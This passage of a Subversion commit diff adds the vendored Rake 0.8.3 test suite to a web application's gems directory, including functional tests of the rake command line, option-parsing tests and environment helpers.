--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/in_environment.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/in_environment.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,30 @@
+module InEnvironment
+  private
+  
+  # Create an environment for a test. At the completion of the yielded
+  # block, the environment is restored to its original conditions.
+  def in_environment(settings)
+    original_settings = set_env(settings)
+    yield    
+  ensure
+    set_env(original_settings)
+  end
+
+  # Set the environment according to the settings hash.
+  def set_env(settings)         # :nodoc:
+    result = {}
+    settings.each do |k, v|
+      result[k] = ENV[k]
+      if k == 'PWD'
+        result[k] = Dir.pwd
+        Dir.chdir(v)
+      elsif v.nil?
+        ENV.delete(k)
+      else
+        ENV[k] = v
+      end
+    end
+    result
+  end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/rake_test_setup.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/rake_test_setup.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/rake_test_setup.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,10 @@
+# Common setup for all test files.
+
+begin
+  require 'rubygems'
+  gem 'flexmock'
+rescue LoadError
+  # got no gems
+end
+
+require 'flexmock/test_unit'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/reqfile.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/reqfile.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/reqfile.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+# For --require testing
+
+TESTING_REQUIRE << 1

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/reqfile2.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/reqfile2.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/reqfile2.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+# For --require testing
+
+TESTING_REQUIRE << 2

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/session_functional.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/session_functional.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/session_functional.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,337 @@
+#!/usr/bin/env ruby
+
+begin
+  require 'rubygems'
+rescue LoadError => ex
+end
+require 'test/unit'
+require 'fileutils'
+require 'session'
+require 'test/in_environment'
+
+# Version 2.1.9 of session has a bug where the @debug instance
+# variable is not initialized, causing warning messages.  This snippet
+# of code fixes that problem.
+module Session
+  class AbstractSession
+    alias old_initialize initialize
+    def initialize(*args)
+      @debug = nil
+      old_initialize(*args)
+    end
+  end
+end
+
+class FunctionalTest < Test::Unit::TestCase
+  include InEnvironment
+
+  RUBY_COMMAND = 'ruby'
+
+  def setup
+    @rake_path = File.expand_path("bin/rake")
+    lib_path = File.expand_path("lib")
+    @ruby_options = "-I#{lib_path} -I."
+    @verbose = ! ENV['VERBOSE'].nil?
+    if @verbose
+      puts
+      puts
+      puts "--------------------------------------------------------------------"
+      puts name
+      puts "--------------------------------------------------------------------"
+    end
+  end
+
+  def test_rake_default
+    Dir.chdir("test/data/default") do rake end
+    assert_match(/^DEFAULT$/, @out)
+    assert_status
+  end
+
+  def test_rake_error_on_bad_task
+    Dir.chdir("test/data/default") do rake "xyz" end
+    assert_match(/rake aborted/, @err)
+    assert_status(1)
+  end
+
+  def test_env_availabe_at_top_scope
+    Dir.chdir("test/data/default") do rake "TESTTOPSCOPE=1" end
+    assert_match(/^TOPSCOPE$/, @out)
+    assert_status
+  end
+
+  def test_env_availabe_at_task_scope
+    Dir.chdir("test/data/default") do rake "TESTTASKSCOPE=1 task_scope" end
+    assert_match(/^TASKSCOPE$/, @out)
+    assert_status
+  end
+
+  def test_multi_desc
+    in_environment(
+      'RAKE_COLUMNS' => "80",
+      "PWD" => "test/data/multidesc"
+      ) do
+      rake "-T"
+    end
+    assert_match %r{^rake a *# A / A2 *$}, @out
+    assert_match %r{^rake b *# B *$}, @out
+    assert_no_match %r{^rake c}, @out
+    assert_match %r{^rake d *# x{65}\.\.\.$}, @out
+  end
+  
+  def test_long_description
+    in_environment("PWD" => "test/data/multidesc") do
+      rake "--describe"
+    end
+    assert_match %r{^rake a\n *A / A2 *$}m, @out
+    assert_match %r{^rake b\n *B *$}m, @out
+    assert_match %r{^rake d\n *x{80}}m, @out
+    assert_no_match %r{^rake c\n}m, @out
+  end
+
+  def test_rbext
+    in_environment("PWD" => "test/data/rbext") do
+      rake "-N"
+    end
+    assert_match %r{^OK$}, @out
+  end
+
+  def test_system
+    in_environment('RAKE_SYSTEM' => 'test/data/sys') do
+      rake '-g', "sys1"
+    end
+    assert_match %r{^SYS1}, @out
+  end
+
+  def test_system_excludes_rakelib_files_too
+    in_environment('RAKE_SYSTEM' => 'test/data/sys') do
+      rake '-g', "sys1", '-T', 'extra'
+    end
+    assert_no_match %r{extra:extra}, @out
+  end
+
+  def test_by_default_rakelib_files_are_include
+    in_environment('RAKE_SYSTEM' => 'test/data/sys') do
+      rake '-T', 'extra'
+    end
+    assert_match %r{extra:extra}, @out
+  end
+
+  def test_implicit_system
+    in_environment('RAKE_SYSTEM' => File.expand_path('test/data/sys'), "PWD" => "/") do
+      rake "sys1", "--trace"
+    end
+    assert_match %r{^SYS1}, @out
+  end
+
+  def test_no_system
+    in_environment('RAKE_SYSTEM' => 'test/data/sys') do
+      rake '-G', "sys1"
+    end
+    assert_match %r{^Don't know how to build task}, @err # emacs wart: '
+  end
+
+  def test_nosearch_with_rakefile_uses_local_rakefile
+    in_environment("PWD" => "test/data/default") do
+      rake "--nosearch"
+    end
+    assert_match %r{^DEFAULT}, @out
+  end
+
+  def test_nosearch_without_rakefile_finds_system
+    in_environment(
+      "PWD" => "test/data/nosearch",
+      "RAKE_SYSTEM" => File.expand_path("test/data/sys")
+      ) do
+      rake "--nosearch", "sys1"
+    end
+    assert_match %r{^SYS1}, @out
+  end
+
+  def test_nosearch_without_rakefile_and_no_system_fails
+    in_environment("PWD" => "test/data/nosearch", "RAKE_SYSTEM" => "not_exist") do
+      rake "--nosearch"
+    end
+    assert_match %r{^No Rakefile found}, @err
+  end
+
+  def test_dry_run
+    in_environment("PWD" => "test/data/default") do rake "-n", "other" end
+    assert_match %r{Execute \(dry run\) default}, @out
+    assert_match %r{Execute \(dry run\) other}, @out
+    assert_no_match %r{DEFAULT}, @out
+    assert_no_match %r{OTHER}, @out
+  end
+
+  # Test for the trace/dry_run bug found by Brian Chandler
+  def test_dry_run_bug
+    in_environment("PWD" => "test/data/dryrun") do
+      rake
+    end
+    FileUtils.rm_f "test/data/dryrun/temp_one"
+    in_environment("PWD" => "test/data/dryrun") do
+      rake "--dry-run"
+    end
+    assert_no_match(/No such file/, @out)
+    assert_status
+  end
+
+  # Test for the trace/dry_run bug found by Brian Chandler
+  def test_trace_bug
+    in_environment("PWD" => "test/data/dryrun") do
+      rake
+    end
+    FileUtils.rm_f "test/data/dryrun/temp_one"
+    in_environment("PWD" => "test/data/dryrun") do
+      rake "--trace"
+    end
+    assert_no_match(/No such file/, @out)
+    assert_status
+  end
+
+  def test_imports
+    open("test/data/imports/static_deps", "w") do |f|
+      f.puts 'puts "STATIC"'
+    end
+    FileUtils.rm_f "test/data/imports/dynamic_deps"
+    in_environment("PWD" => "test/data/imports") do
+      rake
+    end
+    assert File.exist?("test/data/imports/dynamic_deps"),
+      "'dynamic_deps' file should exist"
+    assert_match(/^FIRST$\s+^DYNAMIC$\s+^STATIC$\s+^OTHER$/, @out)
+    assert_status
+    FileUtils.rm_f "test/data/imports/dynamic_deps"
+    FileUtils.rm_f "test/data/imports/static_deps"
+  end
+
+  def test_rules_chaining_to_file_task
+    remove_chaining_files
+    in_environment("PWD" => "test/data/chains") do
+      rake
+    end
+    assert File.exist?("test/data/chains/play.app"),
+      "'play.app' file should exist"
+    assert_status
+    remove_chaining_files
+  end
+
+  def test_file_creation_task
+    in_environment("PWD" => "test/data/file_creation_task") do
+      rake "prep"
+      rake "run"
+      rake "run"
+    end
+    assert(@err !~ /^cp src/, "Should not recopy data")
+  end
+
+  def test_dash_f_with_no_arg_foils_rakefile_lookup
+    rake "-I test/data/rakelib -rtest1 -f"
+    assert_match(/^TEST1$/, @out)
+  end
+
+  def test_dot_rake_files_can_be_loaded_with_dash_r
+    rake "-I test/data/rakelib -rtest2 -f"
+    assert_match(/^TEST2$/, @out)
+  end
+
+  def test_can_invoke_task_in_toplevel_namespace
+    in_environment("PWD" => "test/data/namespace") do
+      rake "copy"
+    end
+    assert_match(/^COPY$/, @out)
+  end
+
+  def test_can_invoke_task_in_nested_namespace
+    in_environment("PWD" => "test/data/namespace") do
+      rake "nest:copy"
+      assert_match(/^NEST COPY$/, @out)
+    end
+  end
+
+  def test_tasks_can_reference_task_in_same_namespace
+    in_environment("PWD" => "test/data/namespace") do
+      rake "nest:xx"
+      assert_match(/^NEST COPY$/m, @out)
+    end
+  end
+
+  def test_tasks_can_reference_task_in_other_namespaces
+    in_environment("PWD" => "test/data/namespace") do
+      rake "b:run"
+      assert_match(/^IN A\nIN B$/m, @out)
+    end
+  end
+
+  def test_anonymous_tasks_can_be_invoked_indirectly
+    in_environment("PWD" => "test/data/namespace") do
+      rake "anon"
+      assert_match(/^ANON COPY$/m, @out)
+    end
+  end
+
+  def test_rake_namespace_refers_to_toplevel
+    in_environment("PWD" => "test/data/namespace") do
+      rake "very:nested:run"
+      assert_match(/^COPY$/m, @out)
+    end
+  end
+
+  def test_file_task_are_not_scoped_by_namespaces
+    in_environment("PWD" => "test/data/namespace") do
+      rake "xyz.rb"
+      assert_match(/^XYZ1\nXYZ2$/m, @out)
+    end
+  end
+  
+  def test_rake_returns_status_error_values
+    in_environment("PWD" => "test/data/statusreturn") do
+      rake "exit5"
+      assert_status(5)
+    end
+  end
+
+  def test_rake_returns_no_status_error_on_normal_exit
+    in_environment("PWD" => "test/data/statusreturn") do
+      rake "normal"
+      assert_status(0)
+    end
+  end
+
+  private
+
+  def remove_chaining_files
+    %w(play.scpt play.app base).each do |fn|
+      FileUtils.rm_f File.join("test/data/chains", fn)
+    end
+  end
+
+  class << self
+    def format_command
+      @format_command ||= lambda { |ruby_options, rake_path, options|
+        "ruby #{ruby_options} #{rake_path} #{options}"
+      }
+    end
+    
+    def format_command=(fmt_command)
+      @format_command = fmt_command
+    end
+  end
+  
+  def rake(*option_list)
+    options = option_list.join(' ')
+    shell = Session::Shell.new
+    command = self.class.format_command[@ruby_options, @rake_path, options]
+    puts "COMMAND: [#{command}]" if @verbose
+    @out, @err = shell.execute command
+    @status = shell.exit_status
+    puts "STATUS:  [#{@status}]" if @verbose
+    puts "OUTPUT:  [#{@out}]" if @verbose
+    puts "ERROR:   [#{@err}]" if @verbose
+    puts "PWD:     [#{Dir.pwd}]" if @verbose
+    shell.close
+  end
+
+  def assert_status(expected_status=0)
+    assert_equal expected_status, @status
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/shellcommand.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/shellcommand.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/shellcommand.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,3 @@
+#!/usr/bin/env ruby
+
+exit((ARGV[0] || "0").to_i)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/shellcommand.rb
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_application.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_application.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_application.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,694 @@
+#!/usr/bin/env ruby
+
+begin
+  require 'rubygems'
+rescue LoadError
+  # got no gems
+end
+
+require 'test/unit'
+require 'rake'
+require 'test/rake_test_setup'
+require 'test/capture_stdout'
+require 'test/in_environment'
+
+TESTING_REQUIRE = [ ]
+
+######################################################################
+class TestApplication < Test::Unit::TestCase
+  include CaptureStdout
+  include InEnvironment
+
+  def setup
+    @app = Rake::Application.new
+    @app.options.rakelib = []
+  end
+
+  def test_constant_warning
+    err = capture_stderr do @app.instance_eval { const_warning("Task") } end
+    assert_match(/warning/i, err)
+    assert_match(/deprecated/i, err)
+    assert_match(/Task/i, err)
+  end
+
+  def test_display_tasks
+    @app.options.show_task_pattern = //
+    @app.last_description = "COMMENT"
+    @app.define_task(Rake::Task, "t")
+    out = capture_stdout do @app.instance_eval { display_tasks_and_comments } end
+    assert_match(/^rake t/, out)
+    assert_match(/# COMMENT/, out)
+  end
+
+  def test_display_tasks_with_long_comments
+    in_environment('RAKE_COLUMNS' => '80') do
+      @app.options.show_task_pattern = //
+      @app.last_description = "1234567890" * 8
+      @app.define_task(Rake::Task, "t")
+      out = capture_stdout do @app.instance_eval { display_tasks_and_comments } end
+      assert_match(/^rake t/, out)
+      assert_match(/# 12345678901234567890123456789012345678901234567890123456789012345\.\.\./, out)
+    end
+  end
+
+  def test_display_tasks_with_task_name_wider_than_tty_display
+    in_environment('RAKE_COLUMNS' => '80') do
+      @app.options.show_task_pattern = //
+      description = "something short"
+      task_name = "task name" * 80
+      @app.last_description = "something short"
+      @app.define_task(Rake::Task, task_name )
+      out = capture_stdout do @app.instance_eval { display_tasks_and_comments } end
+      # Ensure the entire task name is output and we end up showing no description
+      assert_match(/rake #{task_name}  # .../, out)
+    end
+  end
+
+  def test_display_tasks_with_very_long_task_name_to_a_non_tty_shows_name_and_comment
+    @app.options.show_task_pattern = //
+    @app.tty_output = false
+    description = "something short"
+    task_name = "task name" * 80
+    @app.last_description = "something short"
+    @app.define_task(Rake::Task, task_name )
+    out = capture_stdout do @app.instance_eval { display_tasks_and_comments } end
+    # Ensure the entire task name is output and we end up showing no description
+    assert_match(/rake #{task_name}  # #{description}/, out)
+  end
+
+  def test_display_tasks_with_long_comments_to_a_non_tty_shows_entire_comment
+    @app.options.show_task_pattern = //
+    @app.tty_output = false
+    @app.last_description = "1234567890" * 8
+    @app.define_task(Rake::Task, "t")
+    out = capture_stdout do @app.instance_eval { display_tasks_and_comments } end
+    assert_match(/^rake t/, out)
+    assert_match(/# #{@app.last_description}/, out)
+  end
+
+  def test_display_tasks_with_long_comments_to_a_non_tty_with_columns_set_truncates_comments
+    in_environment("RAKE_COLUMNS" => '80') do
+      @app.options.show_task_pattern = //
+      @app.tty_output = false
+      @app.last_description = "1234567890" * 8
+      @app.define_task(Rake::Task, "t")
+      out = capture_stdout do @app.instance_eval { display_tasks_and_comments } end
+      assert_match(/^rake t/, out)
+      assert_match(/# 12345678901234567890123456789012345678901234567890123456789012345\.\.\./, out)
+    end
+  end
+
+  def test_display_tasks_with_full_descriptions
+    @app.options.show_task_pattern = //
+    @app.options.full_description = true
+    @app.last_description = "COMMENT"
+    @app.define_task(Rake::Task, "t")
+    out = capture_stdout do @app.instance_eval { display_tasks_and_comments } end
+    assert_match(/^rake t$/, out)
+    assert_match(/^ {4}COMMENT$/, out)
+  end
+
+  def test_finding_rakefile
+    assert_match(/[Rr]akefile/, @app.instance_eval { have_rakefile })
+  end
+
+  def test_not_finding_rakefile
+    @app.instance_eval { @rakefiles = ['NEVER_FOUND'] }
+    assert( ! @app.instance_eval do have_rakefile end )
+    assert_nil @app.rakefile
+  end
+
+  def test_load_rakefile
+    in_environment("PWD" => "test/data/unittest") do
+      @app.instance_eval do 
+        handle_options
+        options.silent = true
+        load_rakefile
+      end
+      assert_equal "rakefile", @app.rakefile.downcase
+      assert_match(%r(unittest$), Dir.pwd)
+    end
+  end
+
+  def test_load_rakefile_from_subdir
+    in_environment("PWD" => "test/data/unittest/subdir") do
+      @app.instance_eval do
+        handle_options
+        options.silent = true
+        load_rakefile
+      end
+      assert_equal "rakefile", @app.rakefile.downcase
+      assert_match(%r(unittest$), Dir.pwd)
+    end
+  end
+
+  def test_load_rakefile_not_found
+    in_environment("PWD" => "/", "RAKE_SYSTEM" => 'not_exist') do
+      @app.instance_eval do
+        handle_options
+        options.silent = true
+      end
+      ex = assert_raise(RuntimeError) do 
+        @app.instance_eval do raw_load_rakefile end 
+      end
+      assert_match(/no rakefile found/i, ex.message)
+    end
+  end
+
+  def test_load_from_system_rakefile
+    in_environment('RAKE_SYSTEM' => 'test/data/sys') do
+      @app.options.rakelib = []
+      @app.instance_eval do
+        handle_options
+        options.silent = true
+        options.load_system = true
+        load_rakefile
+      end
+      assert_equal "test/data/sys", @app.system_dir
+      assert_nil @app.rakefile
+    end
+  end
+
+  def test_load_from_system_rakefile_on_unix
+    flexmock(@app, :windows? => false,
+      :win32_system_dir => nil,
+      :load => nil)
+    flexmock(File).should_receive(:expand_path).with("~").and_return("/HOME")
+    flexmock(File).should_receive(:expand_path).and_return { |fn| fn }
+    
+    in_environment('RAKE_SYSTEM' => nil) do
+      @app.options.rakelib = []
+      @app.instance_eval do
+        handle_options
+        options.silent = true
+        options.load_system = true
+        load_rakefile
+      end
+      assert_equal "/HOME/.rake", @app.system_dir
+    end
+  end
+
+  def test_windows
+    assert ! (@app.windows? && @app.unix?)
+  end
+
+  def test_load_from_system_rakefile_on_windows
+    flexmock(Rake::Win32, :windows? => true)
+    flexmock(@app, :standard_system_dir => "XX")
+    flexmock(@app).should_receive(:directory?).with("/AD/Rake").and_return(true)
+    flexmock(@app).should_receive(:load).and_return(nil)
+    in_environment('RAKE_SYSTEM' => nil, 'APPDATA' => '/AD') do
+      @app.options.rakelib = []
+      @app.instance_eval do
+        handle_options
+        options.silent = true
+        options.load_system = true
+        load_rakefile
+      end
+      assert_equal "/AD/Rake", @app.system_dir
+    end
+  end
+
+  def test_loading_imports
+    mock = flexmock("loader")
+    mock.should_receive(:load).with("x.dummy").once
+    @app.instance_eval do
+      add_loader("dummy", mock)
+      add_import("x.dummy")
+      load_imports
+    end
+  end
+
+  def test_building_imported_files_on_demand
+    mock = flexmock("loader")
+    mock.should_receive(:load).with("x.dummy").once
+    mock.should_receive(:make_dummy).with_no_args.once
+    @app.instance_eval do
+      intern(Rake::Task, "x.dummy").enhance do mock.make_dummy end
+        add_loader("dummy", mock)
+      add_import("x.dummy")
+      load_imports
+    end
+  end
+
+  def test_good_run
+    ran = false
+    ARGV.clear
+    ARGV << '--rakelib=""'
+    @app.options.silent = true
+    @app.instance_eval do
+      intern(Rake::Task, "default").enhance { ran = true }
+    end
+    in_environment("PWD" => "test/data/default") do
+      @app.run
+    end
+    assert ran
+  end
+
+  def test_display_task_run
+    ran = false
+    ARGV.clear
+    ARGV << '-f' << '-s' << '--tasks' << '--rakelib=""'
+    @app.last_description = "COMMENT"
+    @app.define_task(Rake::Task, "default")
+    out = capture_stdout { @app.run }
+    assert @app.options.show_tasks
+    assert ! ran
+    assert_match(/rake default/, out)
+    assert_match(/# COMMENT/, out)
+  end
+
+  def test_display_prereqs
+    ran = false
+    ARGV.clear
+    ARGV << '-f' << '-s' << '--prereqs' << '--rakelib=""'
+    @app.last_description = "COMMENT"
+    t = @app.define_task(Rake::Task, "default")
+    t.enhance([:a, :b])
+    @app.define_task(Rake::Task, "a")
+    @app.define_task(Rake::Task, "b")
+    out = capture_stdout { @app.run }
+    assert @app.options.show_prereqs
+    assert ! ran
+    assert_match(/rake a$/, out)
+    assert_match(/rake b$/, out)
+    assert_match(/rake default\n( *(a|b)\n){2}/m, out)
+  end
+
+  def test_bad_run
+    @app.intern(Rake::Task, "default").enhance { fail }
+    ARGV.clear
+    ARGV << '-f' << '-s' <<  '--rakelib=""'
+    assert_raise(SystemExit) {
+      err = capture_stderr { @app.run }
+      assert_match(/see full trace/, err)
+    }
+  ensure
+    ARGV.clear
+  end
+
+  def test_bad_run_with_trace
+    @app.intern(Rake::Task, "default").enhance { fail }
+    ARGV.clear
+    ARGV << '-f' << '-s' << '-t'
+    assert_raise(SystemExit) {
+      err = capture_stderr { capture_stdout { @app.run } }
+      assert_no_match(/see full trace/, err)
+    }
+  ensure
+    ARGV.clear
+  end
+
+  def test_run_with_bad_options
+    @app.intern(Rake::Task, "default").enhance { fail }
+    ARGV.clear
+    ARGV << '-f' << '-s' << '--xyzzy'
+    assert_raise(SystemExit) {
+      err = capture_stderr { capture_stdout { @app.run } }
+    }
+  ensure
+    ARGV.clear
+  end
+end
+
+
+######################################################################
+class TestApplicationOptions < Test::Unit::TestCase
+  include CaptureStdout
+
+  def setup
+    clear_argv
+    RakeFileUtils.verbose_flag = false
+    RakeFileUtils.nowrite_flag = false
+    TESTING_REQUIRE.clear
+  end
+
+  def teardown
+    clear_argv
+    RakeFileUtils.verbose_flag = false
+    RakeFileUtils.nowrite_flag = false
+  end
+  
+  def clear_argv
+    while ! ARGV.empty?
+      ARGV.pop
+    end
+  end
+
+  def test_default_options
+    opts = command_line
+    assert_nil opts.classic_namespace
+    assert_nil opts.dryrun
+    assert_nil opts.full_description
+    assert_nil opts.ignore_system
+    assert_nil opts.load_system
+    assert_nil opts.nosearch
+    assert_equal ['rakelib'], opts.rakelib
+    assert_nil opts.show_prereqs
+    assert_nil opts.show_task_pattern
+    assert_nil opts.show_tasks
+    assert_nil opts.silent
+    assert_nil opts.trace
+    assert_equal ['rakelib'], opts.rakelib
+    assert ! RakeFileUtils.verbose_flag
+    assert ! RakeFileUtils.nowrite_flag
+  end
+
+  def test_dry_run
+    flags('--dry-run', '-n') do |opts|
+      assert opts.dryrun
+      assert opts.trace
+      assert RakeFileUtils.verbose_flag
+      assert RakeFileUtils.nowrite_flag
+    end
+  end
+
+  def test_describe
+    flags('--describe') do |opts|
+      assert opts.full_description
+      assert opts.show_tasks
+      assert_equal(//.to_s, opts.show_task_pattern.to_s)
+    end
+  end
+
+  def test_describe_with_pattern
+    flags('--describe=X') do |opts|
+      assert opts.full_description
+      assert opts.show_tasks
+      assert_equal(/X/.to_s, opts.show_task_pattern.to_s)
+    end
+  end
+
+  def test_execute
+    $xyzzy = 0
+    flags('--execute=$xyzzy=1', '-e $xyzzy=1') do |opts|
+      assert_equal 1, $xyzzy
+      assert_equal :exit, @exit
+      $xyzzy = 0
+    end
+  end
+
+  def test_execute_and_continue
+    $xyzzy = 0
+    flags('--execute-continue=$xyzzy=1', '-E $xyzzy=1') do |opts|
+      assert_equal 1, $xyzzy
+      assert_not_equal :exit, @exit
+      $xyzzy = 0
+    end
+  end
+
+  def test_execute_and_print
+    $xyzzy = 0
+    flags('--execute-print=$xyzzy="pugh"', '-p $xyzzy="pugh"') do |opts|
+      assert_equal 'pugh', $xyzzy
+      assert_equal :exit, @exit
+      assert_match(/^pugh$/, @out)
+      $xyzzy = 0
+    end
+  end
+
+  def test_help
+    flags('--help', '-H', '-h') do |opts|
+      assert_match(/\Arake/, @out)
+      assert_match(/\boptions\b/, @out)
+      assert_match(/\btargets\b/, @out)
+      assert_equal :exit, @exit
+      assert_equal :exit, @exit
+    end
+  end
+
+  def test_libdir
+    flags(['--libdir', 'xx'], ['-I', 'xx'], ['-Ixx']) do |opts|
+      $:.include?('xx')
+    end
+  ensure
+    $:.delete('xx')
+  end
+
+  def test_rakefile
+    flags(['--rakefile', 'RF'], ['--rakefile=RF'], ['-f', 'RF'], ['-fRF']) do |opts|
+      assert_equal ['RF'], @app.instance_eval { @rakefiles }
+    end
+  end
+
+  def test_rakelib
+    flags(['--rakelibdir', 'A:B:C'], ['--rakelibdir=A:B:C'], ['-R', 'A:B:C'], ['-RA:B:C']) do |opts|
+      assert_equal ['A', 'B', 'C'], opts.rakelib
+    end
+  end
+
+  def test_require
+    flags(['--require', 'test/reqfile'], '-rtest/reqfile2', '-rtest/reqfile3') do |opts|
+    end
+    assert TESTING_REQUIRE.include?(1)
+    assert TESTING_REQUIRE.include?(2)
+    assert TESTING_REQUIRE.include?(3)
+    assert_equal 3, TESTING_REQUIRE.size
+  end
+
+  def test_missing_require
+    ex = assert_raises(LoadError) do
+      flags(['--require', 'test/missing']) do |opts|
+      end
+    end
+    assert_match(/no such file/, ex.message)
+    assert_match(/test\/missing/, ex.message)
+  end
+
+  def test_prereqs
+    flags('--prereqs', '-P') do |opts|
+      assert opts.show_prereqs
+    end
+  end
+
+  def test_quiet
+    flags('--quiet', '-q') do |opts|
+      assert ! RakeFileUtils.verbose_flag
+      assert ! opts.silent
+    end
+  end
+
+  def test_no_search
+    flags('--nosearch', '--no-search', '-N') do |opts|
+      assert opts.nosearch
+    end
+  end
+
+  def test_silent
+    flags('--silent', '-s') do |opts|
+      assert ! RakeFileUtils.verbose_flag
+      assert opts.silent
+    end
+  end
+
+  def test_system
+    flags('--system', '-g') do |opts|
+      assert opts.load_system
+    end
+  end
+
+  def test_no_system
+    flags('--no-system', '-G') do |opts|
+      assert opts.ignore_system
+    end
+  end
+
+  def test_trace
+    flags('--trace', '-t') do |opts|
+      assert opts.trace
+      assert RakeFileUtils.verbose_flag
+      assert ! RakeFileUtils.nowrite_flag
+    end
+  end
+
+  def test_trace_rules
+    flags('--rules') do |opts|
+      assert opts.trace_rules
+    end
+  end
+
+  def test_tasks
+    flags('--tasks', '-T') do |opts|
+      assert opts.show_tasks
+      assert_equal(//.to_s, opts.show_task_pattern.to_s)
+    end
+    flags(['--tasks', 'xyz'], ['-Txyz']) do |opts|
+      assert opts.show_tasks
+      assert_equal(/xyz/, opts.show_task_pattern)
+    end
+  end
+
+  def test_verbose
+    flags('--verbose', '-V') do |opts|
+      assert RakeFileUtils.verbose_flag
+      assert ! opts.silent
+    end
+  end
+
+  def test_version
+    flags('--version', '-V') do |opts|
+      assert_match(/\bversion\b/, @out)
+      assert_match(/\b#{RAKEVERSION}\b/, @out)
+      assert_equal :exit, @exit
+    end
+  end
+  
+  def test_classic_namespace
+    flags(['--classic-namespace'], ['-C', '-T', '-P', '-n', '-s', '-t']) do |opts|
+      assert opts.classic_namespace
+      assert_equal opts.show_tasks, $show_tasks
+      assert_equal opts.show_prereqs, $show_prereqs
+      assert_equal opts.trace, $trace
+      assert_equal opts.dryrun, $dryrun
+      assert_equal opts.silent, $silent
+    end
+  end
+
+  def test_bad_option
+    capture_stderr do
+      ex = assert_raise(OptionParser::InvalidOption) do
+        flags('--bad-option') 
+      end
+      if ex.message =~ /^While/ # Ruby 1.9 error message
+        assert_match(/while parsing/i, ex.message)
+      else                      # Ruby 1.8 error message
+        assert_match(/(invalid|unrecognized) option/i, ex.message)
+        assert_match(/--bad-option/, ex.message)
+      end
+    end
+  end
+
+  def test_task_collection
+    command_line("a", "b")
+    assert_equal ["a", "b"], @tasks.sort
+  end
+  
+  def test_default_task_collection
+    command_line()
+    assert_equal ["default"], @tasks
+  end
+  
+  def test_environment_definition
+    ENV.delete('TESTKEY')
+    command_line("a", "TESTKEY=12")
+    assert_equal ["a"], @tasks.sort
+    assert '12', ENV['TESTKEY']
+  end
+
+  private 
+
+  def flags(*sets)
+    sets.each do |set|
+      ARGV.clear
+      @out = capture_stdout { 
+        @exit = catch(:system_exit) { opts = command_line(*set) }
+      }
+      yield(@app.options) if block_given?
+    end
+  end
+
+  def command_line(*options)
+    options.each do |opt| ARGV << opt end
+    @app = Rake::Application.new
+    def @app.exit(*args)
+      throw :system_exit, :exit
+    end
+    @app.instance_eval do
+      collect_tasks handle_options
+    end
+    @tasks = @app.top_level_tasks
+    @app.options
+  end
+end
+
+class TestTaskArgumentParsing < Test::Unit::TestCase
+  def setup
+    @app = Rake::Application.new
+  end
+  
+  def test_name_only
+    name, args = @app.parse_task_string("name")
+    assert_equal "name", name
+    assert_equal [], args
+  end
+  
+  def test_empty_args
+    name, args = @app.parse_task_string("name[]")
+    assert_equal "name", name
+    assert_equal [], args
+  end
+  
+  def test_one_argument
+    name, args = @app.parse_task_string("name[one]")
+    assert_equal "name", name
+    assert_equal ["one"], args
+  end
+  
+  def test_two_arguments
+    name, args = @app.parse_task_string("name[one,two]")
+    assert_equal "name", name
+    assert_equal ["one", "two"], args
+  end
+  
+  def test_can_handle_spaces_between_args
+    name, args = @app.parse_task_string("name[one, two,\tthree , \tfour]")
+    assert_equal "name", name
+    assert_equal ["one", "two", "three", "four"], args
+  end
+
+  def test_keeps_embedded_spaces
+    name, args = @app.parse_task_string("name[a one ana, two]")
+    assert_equal "name", name
+    assert_equal ["a one ana", "two"], args
+  end
+
+end
+
+class TestTaskArgumentParsing < Test::Unit::TestCase
+  include InEnvironment
+
+  def test_terminal_width_using_env
+    app = Rake::Application.new
+    in_environment('RAKE_COLUMNS' => '1234') do
+      assert_equal 1234, app.terminal_width
+    end
+  end
+
+  def test_terminal_width_using_stty
+    app = Rake::Application.new
+    flexmock(app,
+      :unix? => true,
+      :dynamic_width_stty => 1235,
+      :dynamic_width_tput => 0)
+    in_environment('RAKE_COLUMNS' => nil) do
+      assert_equal 1235, app.terminal_width
+    end
+  end
+
+  def test_terminal_width_using_tput
+    app = Rake::Application.new
+    flexmock(app,
+      :unix? => true,
